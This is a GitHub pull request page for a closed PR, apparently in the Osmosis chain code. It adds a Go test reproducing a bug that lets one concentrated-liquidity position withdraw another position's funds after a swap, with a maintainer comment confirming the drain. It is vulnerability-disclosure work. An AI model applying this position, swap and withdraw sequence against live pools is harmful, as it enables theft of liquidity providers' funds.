Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[CL]: Attack vector repro to drain LP funds from any CL pool #5493

Closed
wants to merge 1 commit into from
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
31 changes: 31 additions & 0 deletions x/concentrated-liquidity/position_test.go
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
package concentrated_liquidity_test

import (
"fmt"
"time"

sdk "github.com/cosmos/cosmos-sdk/types"
Expand Down Expand Up @@ -2509,3 +2510,33 @@ func (s *KeeperTestSuite) TestCreateFullRangePositionLocked() {
})
}
}

func (s *KeeperTestSuite) TestDrainLPFundsAttackVector() {
s.SetupTest()
pool := s.PrepareConcentratedPool()

testAccs := apptesting.CreateRandomAccounts(3)
firstPositionAddr := testAccs[0]
secondPositionAddr := testAccs[1]

firstPositionAssets := sdk.NewCoins(sdk.NewCoin(ETH, sdk.NewInt(9823358512)), sdk.NewCoin(USDC, sdk.NewInt(8985893232)))
firstPosLiq, firstPosId := s.SetupPosition(pool.GetId(), firstPositionAddr, firstPositionAssets, -68720000, -68710000, true)

secondPositionAssets := sdk.NewCoins(sdk.NewCoin(ETH, sdk.NewInt(9823358512)), sdk.NewCoin(USDC, sdk.NewInt(8985893232)))
secondPosLiq, secondPosId := s.SetupPosition(pool.GetId(), secondPositionAddr, secondPositionAssets, -68720000, -68710000, true)

swapAddr := testAccs[2]
desiredTokenOut := sdk.NewCoin(USDC, sdk.NewInt(10000))
s.FundAcc(swapAddr, sdk.NewCoins(sdk.NewCoin(ETH, sdk.NewInt(1000000000000000000))))
_, _, _, _, _, err := s.clk.SwapInAmtGivenOut(s.Ctx, swapAddr, pool, desiredTokenOut, ETH, sdk.ZeroDec(), sdk.ZeroDec())
s.Require().NoError(err)

amt0FirstPos, amt1FirstPos, err := s.clk.WithdrawPosition(s.Ctx, firstPositionAddr, firstPosId, firstPosLiq)
s.Require().NoError(err)

fmt.Println("withdrawn amounts: ", amt0FirstPos, amt1FirstPos)
Comment on lines +2534 to +2537
Copy link
Member

@ValarDragon ValarDragon Jun 10, 2023

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Its 0, 8985893231, you'd want this to be XXX, (2 * 8985893232 - 10000)/2), hence it being a drain


// Triggers panic
_, _, err = s.clk.WithdrawPosition(s.Ctx, secondPositionAddr, secondPosId, secondPosLiq)
s.Require().NoError(err)
}